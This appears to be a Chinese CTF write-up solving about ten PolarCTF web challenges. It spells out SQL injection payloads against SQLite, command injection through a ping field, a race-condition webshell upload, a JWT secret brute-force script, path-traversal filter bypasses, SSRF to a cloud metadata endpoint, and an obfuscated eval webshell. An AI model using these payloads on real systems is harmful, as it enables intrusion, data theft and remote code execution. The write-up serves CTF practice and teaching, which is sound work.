1.sql_search
随机搜索的时候

对于sql可以先测试先测试
1 and 1=1#,1 and 1=2#。
1' and '1'='1# 1' and '1'='2#
1" and "1"="1# 1" and "1"="2# 看页面有没有变化
发现都没有变化
' or '1'='1#或者是' or '1'='1--+都能得到页面(这个是因为我让他永远为真,那么所有的信息都会出现)

1. 确定列数(order by)奇怪的是这后面只有--+来注释,反正就是多试试
' order by 1#
' order by 2#
' order by 3#


一直增加数字,直到页面返回"未找到相关内容"(或报错),最后一个有效数字就是列数。
最后发现是3
2. 联合查询(union select)
假设列数为 N:
' union select 1,2,3,...,N#
217d035c-7d95-4179-a5b7-9add953fc7eb.www.polarctf.com:8090/?search='+union+select+1%2C2%2C3--%2B

观察页面哪个位置显示了数字(1,2,3等),那就是数据回显点。
3. 提取数据库信息
' union select database(),2,3,...,N#
' union select user(),2,3,...,N#
' union select version(),2,3,...,N#
执行 ' union select 1,version(),3-- 返回"未找到相关内容",这进一步确认了 数据库不是 MySQL (因为 MySQL 的 version() 函数会返回版本号,若能显示则说明是 MySQL)。
再去尝试看看他是什么类型的数据库
' union select 1,sqlite_version(),3--

' union select 1,sqlite_version(),3-- 返回了 3.28.0,并且页面同时显示了新闻列表,这说明:
-
数据库确认是 SQLite 3.28.0
-
联合查询可以正常回显(版本号显示在结果中)
4. 获取表名
mysql:' union select group_concat(table_name),2,3 from information_schema.tables where table_schema=database()#
sqlite:' union select 1,group_concat(name),3 from sqlite_master where type='table'--

5. 获取列名
mysql:' union select group_concat(column_name),2,3 from information_schema.columns where table_name='表名'#
sqlite:' union select 1,sql,3 from sqlite_master where name='flaggggggggggg'--

6. 获取数据
mysql:' union select group_concat(列名),2,3 from 表名#
sqlite:' union select 1,flag,3 from flaggggggggggg--

flag{mdw736134659adi9203hjcbos}
总结:
| 步骤 | 目的 | Payload 示例 |
|---|---|---|
| 1 | 确认注入点 | ' or '1'='1# |
| 2 | 确定列数 | ' order by 3--+ |
| 3 | 确认回显位置 | ' union select 1,2,3--+ |
| 4 | 确认数据库类型 | ' union select 1,sqlite_version(),3--+ |
| 5 | 获取表名 | ' union select 1,group_concat(name),3 from sqlite_master where type='table'--+ |
| 6 | 获取表结构 | ' union select 1,sql,3 from sqlite_master where name='flaggggggggggg'--+ |
| 7 | 提取数据 | ' union select 1,flag,3 from flaggggggggggg--+ |
| Payload | 闭合方式 | 逻辑 | 预期效果 | 本题结果 |
|---|---|---|---|---|
1' and '1'='1--+ |
单引号闭合 | and 永真 |
应返回与 1 相同的结果 |
❌ 无变化(and 被过滤) |
1' or '1'='1--+ |
单引号闭合 | or 永真 |
返回所有数据 | ✅ 返回所有新闻 |
' and '1'='1--+ |
空字符串闭合 | and 永真 |
若原查询为空则无结果 | ❌ 无变化 |
' or '1'='1--+ |
空字符串闭合 | or 永真 |
返回所有数据 | ✅ 返回所有新闻 |
con2. The_Gift

其实上面的代码并不是很重要,直接看if条件,看$config这个是不是数组然后包不包含这个isAdmin然后保证isAdmin是true就行
最后的payload:config[isAdmin]=true
得到**Successflag{0538dfd69d21172b128c29d536b9b31a}**
3. 并发上传
直接上传图片码试试发现都不行
但是看到题目写的是并发上传
并发上传就大概是条件竞争
-
接收上传的文件
-
检查文件是否合法(后缀、内容等)
-
如果合法,保存文件;如果不合法,删除文件
如果在第2步检查通过后 到第3步删除非法文件前,攻击者能访问到这个文件,就可以成功上传Webshell。
这个直接用bp多传就应该能行了
使用Burp Suite并发发送
-
拦截上传请求,发送到Intruder
-
设置多个线程同时发送同一个文件上传请求
抓包upload和upload/1.php这两个包然后来

最后蚁剑访问得到flag{96b9ff74b5fd9377f7c4abfdf557fd1a}
4. 杰尼龟系统
ping命令执行
先去试试读出这个flag文件发现不行

然后尝试ls列出

然后127.0.0.1|ls -la /得到一个假的flag

然后使用find命令127.0.0.1|find / -name "flag*" -type f 2>/dev/null

得到flag:flag{459fc13bc7e1265b410fa7eb9e87a63e}
5. Signed_Too_Weak

使用用户名和密码直接登录他说Welcome, user!当前为普通用户权限。
那肯定要升级权限了
从网站这里看就知道是key 参数是一个 JWT(JSON Web Token),分为三部分,每部分用点 . 分隔。
然后使用在线的json网站

修改成admin试试
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiaWF0IjoxNzc0MzUyODE0LCJleHAiOjE3NzQzNTY0MTR9.CLPgwqeXCT58_iDYjSD77giVv74uYVaWdHOyxwDl78I
页面得到Invalid token: Bad signature five lowercase letters(密钥是 5个小写字母)
直接让ai给你写个脚本跑一下
import base64
import hashlib
import hmac
import itertools
import string
def verify_signature(token, secret):
header_b64, payload_b64, signature_b64 = token.split('.')
message = f"{header_b64}.{payload_b64}".encode()
expected_sig = hmac.new(secret.encode(), message, hashlib.sha256).digest()
expected_b64 = base64.urlsafe_b64encode(expected_sig).decode().rstrip('=')
return expected_b64 == signature_b64
token = "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6InVzZXIiLCJpYXQiOjE3NzQzNTI4MTQsImV4cCI6MTc3NDM1NjQxNH0.PgMPHP5UM-8gsgqVwSECXaVByaioXmckyPLudb2-MVI"
生成所有 5 个小写字母的组合
for combo in itertools.product(string.ascii_lowercase, repeat=5):
secret = ''.join(combo)
if verify_signature(token, secret):
print(f"[+] Found secret: {secret}")
break

eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiaWF0IjoxNzc0MzUyODE0LCJleHAiOjE3NzQzNTY0MTR9.YlVsOBrDKen7FB1I_S7kH469U_mwGnNLB0a9Zp59ZWE

6. Pandora_Box

直接上传图片码试试


发现图片码也不行
尝试读取index
得到了这个的关键代码
// 上传部分:只允许 .jpg 或 .png
if (in_array($ext, ['jpg', 'png'])) {
new_name = upload_dir . md5(uniqid()) . "." . $ext;
// 上传后文件名:upload/[md5].jpg 或 upload/[md5].png
}
// 包含部分:强制加 .php 后缀
if (isset($_GET['file'])) {
file = _GET['file'];
include($file . '.php'); // 关键漏洞点
}
这就解释了为啥我图片上传不成功
在网上查找了资料然后发现有使用zip然后改成jpg形式最后用zip方式读出
最后连接后台得到flag
flag{47ea7bc31157e1a1a6ca01e26163b726}
7. static
<?php
highlight_file(__FILE__);
error_reporting(E_ALL);
function hard_filter(&$file) {
$ban_extend = array("php://", "zip://", "data://", "%2f", "%00", "\\");
foreach ($ban_extend as $ban) {
if (stristr($file, $ban)) {
return false;
}
}
$ban_keywords = array("eval", "system", "exec", "passthru", "shell_exec", "assert", "../");
foreach ($ban_keywords as $keyword) {
if (stristr($file, $keyword)) {
$count = 0;
$file = str_replace($keyword, "", $file, $count);
break;
}
}
$file = rtrim($file, '/');
if (strpos($file, "static/") !== 0) {
return false;
}
return true;
}
$file = $_GET['file'] ?? '';
if (!hard_filter($file)) {
die("Illegal request!");
}
$real_file = $file . ".php";
$real_path = realpath($real_file) ?: $real_file;
echo "<br>=== 调试信息 ===<br>";
echo "1. 原始输入: " . htmlspecialchars($_GET['file'] ?? '') . "<br>";
echo "2. 过滤后file: " . htmlspecialchars($file) . "<br>";
echo "3. 拼接后的路径: " . htmlspecialchars($real_file) . "<br>";
echo "4. 真实解析路径: " . htmlspecialchars($real_path) . "<br>";
echo "5. 文件是否存在: " . (file_exists($real_path) ? "是" : "否") . "<br>";
if (file_exists($real_path)) {
echo "6. 正在包含文件...<br>";
ob_start();
include($real_path);
$content = ob_get_clean();
echo "7. 文件内容: " . htmlspecialchars($content) . "<br>";
} else {
echo "6. 错误:文件不存在!<br>";
}
?>
Illegal request!
代码审计:
1. 过滤函数 hard_filter()
这个函数对用户输入的 $file 进行两层过滤:
第一层:危险协议/字符过滤
$ban_extend = array("php://", "zip://", "data://", "%2f", "%00", "\\");
阻止使用:
-
伪协议(
php://、zip://、data://) -
URL 编码的斜杠(
%2f) -
空字节(
%00) -
反斜杠(
\\)
第二层:危险关键词过滤
$ban_keywords = array("eval", "system", "exec", "passthru", "shell_exec", "assert", "../");
如果发现这些关键词,会只移除第一个匹配的关键词一次 (注意 break 只执行一次替换),然后继续。
第三层:路径前缀检查
if (strpos($file, "static/") !== 0) {
return false;
}
确保 $file 必须以 "static/" 开头。
2. 文件包含逻辑
$real_file = $file . ".php"; // 强制添加 .php 后缀
$real_path = realpath($real_file) ?: $real_file;
include($real_path);
http://980030d2-519e-44d7-aa3c-ef409cc46fd4.www.polarctf.com:8090/?file=static/test

$ban_keywords = array("eval", "system", "exec", "passthru", "shell_exec", "assert", "../");
尝试http://980030d2-519e-44d7-aa3c-ef409cc46fd4.www.polarctf.com:8090/?file=static/..././flag
- 文件内容: flag{030e77f73a4cb26a111daf0470c3956f}
8. 云中来信

从这个输入一个 URL,服务器会代你请求并返回部分内容。从这个题目就大概知道是ssrf漏洞了
SSRF(服务器端请求伪造) 漏洞
对于这个漏洞一般是对于内网的探侦和云数据的得到
内网探测
攻击者可以尝试访问:
内网服务:http://127.0.0.1:8080, http://localhost:3306
云元数据:http://169.254.169.254, http://metadata.google.internal
内部 API:http://preview.polar/internal/admin
文件协议:file:///etc/passwd(如果后端支持)
先去测试内网服务来尝试ssrf绕过(利用特殊符号)
http://preview.polar@127.0.0.1

后面也没啥思路了就去网上搜,得到一个比较有用的信息

然后尝试访问这个路径之前还要去测试端口

然后去访问http://preview.polar@127.0.0.1:80/latest/meta-data
需要有效的元数据令牌。请先访问 /latest/api/token 获取token,并在请求头 X-IMDS-Token 中携带。

得到{"token": "aa647d21aa5c36619106b081667755df", "header": "X-IMDS-Token", "ttl": 21600}
然后再去访问NEXT=/latest/meta-data/ctf/241c37ad0ef65972f882

http://preview.polar@127.0.0.1:80/latest/meta-data/ctf/241c37ad0ef65972f882
得到flag:flag{62b08b6daed71ed85c0655abe1ea8cd2}
9.GET
dir扫描得到robot.txt然后进去就说If it won't open, maybe try including each other and see.
意思是**"如果它打不开,也许试试把彼此包括进来看看。"**

抓包说禁止上传普通PHP后缀文件!,在尝试上传图片码。或者直接修改这个文件后缀和type

然后文件包含恶意特征:<span class="highlight">$_POST['pass']说明不能使用这种格式
我想去base64编码一下看看是否可以上传

文件上传成功,保存路径:<span class="highlight">./upload/1394734cd17fa308c427a22c49d8d92a.jpg发现是正常的图片
我看网上的人这么做的
<?php func = chr(101).chr(118).chr(97).chr(108); // eval code = chr(36).chr(95).chr(80).chr(79).chr(83).chr(84).chr(91).chr(39).chr(112).chr(97).chr(115).chr(115).chr(39).chr(93); // _POST\['pass'\] @func($code); ?>
利用ascil编码其实跟我想的base64差不多,但是他就能查找最后的flag文件
0095c0930065b64d547f9794abac00ab.php和6a2139364f96787c8ce1bbb0070b898c.php
最后利用文件包含得到flag
flag{73121d2832f501293a2e661c4d3a082f}
10. coke的粉丝团

直接注册还说啥

这里有得到flag的要求:
Coke老师的话:
欢迎大家来到我的粉丝团!🎉 在这里,你可以通过购买粉丝灯牌来支持我!
💡 **小提示:**想要获取flag,请加入我的粉丝团,粉丝灯牌达到10级就会给你flag!
🎯 **注意:**灯牌等级覆盖规则:比如你现在1级买了4级灯牌就变成4级,你现在5级买了2级灯牌就变成2级。
说明10级就行就去购买灯牌最后发现在52页就有10级的灯牌

但是钻石却差的很多,看看前端能不能改然后bp抓包看看能不能去修改一下数据


最后进去了还有要求只有admin才能查看此页面!当前用户: 1
再去修改权限eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ImFkbWluIn0.cNBJlyfi3M1uN6ds-teR-W_6xicTd8upxcjhz8FQpZk
这个改成了但是签名错误还有个密钥我猜是coke然后就得到

eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ImFkbWluIn0.nOLz_J3G5VDs3zimRc_EJzRnYxFbWbJkR3SHADwHmhg
最后得到了flag:flag{the_cat_is_coke}
11.狗黑子最后的起舞
略
12. 新年贺卡
略
13.The gift
就是上面那个,可能服务器没开吧,白嫖就行
flag{0538dfd69d21172b128c29d536b9b31a}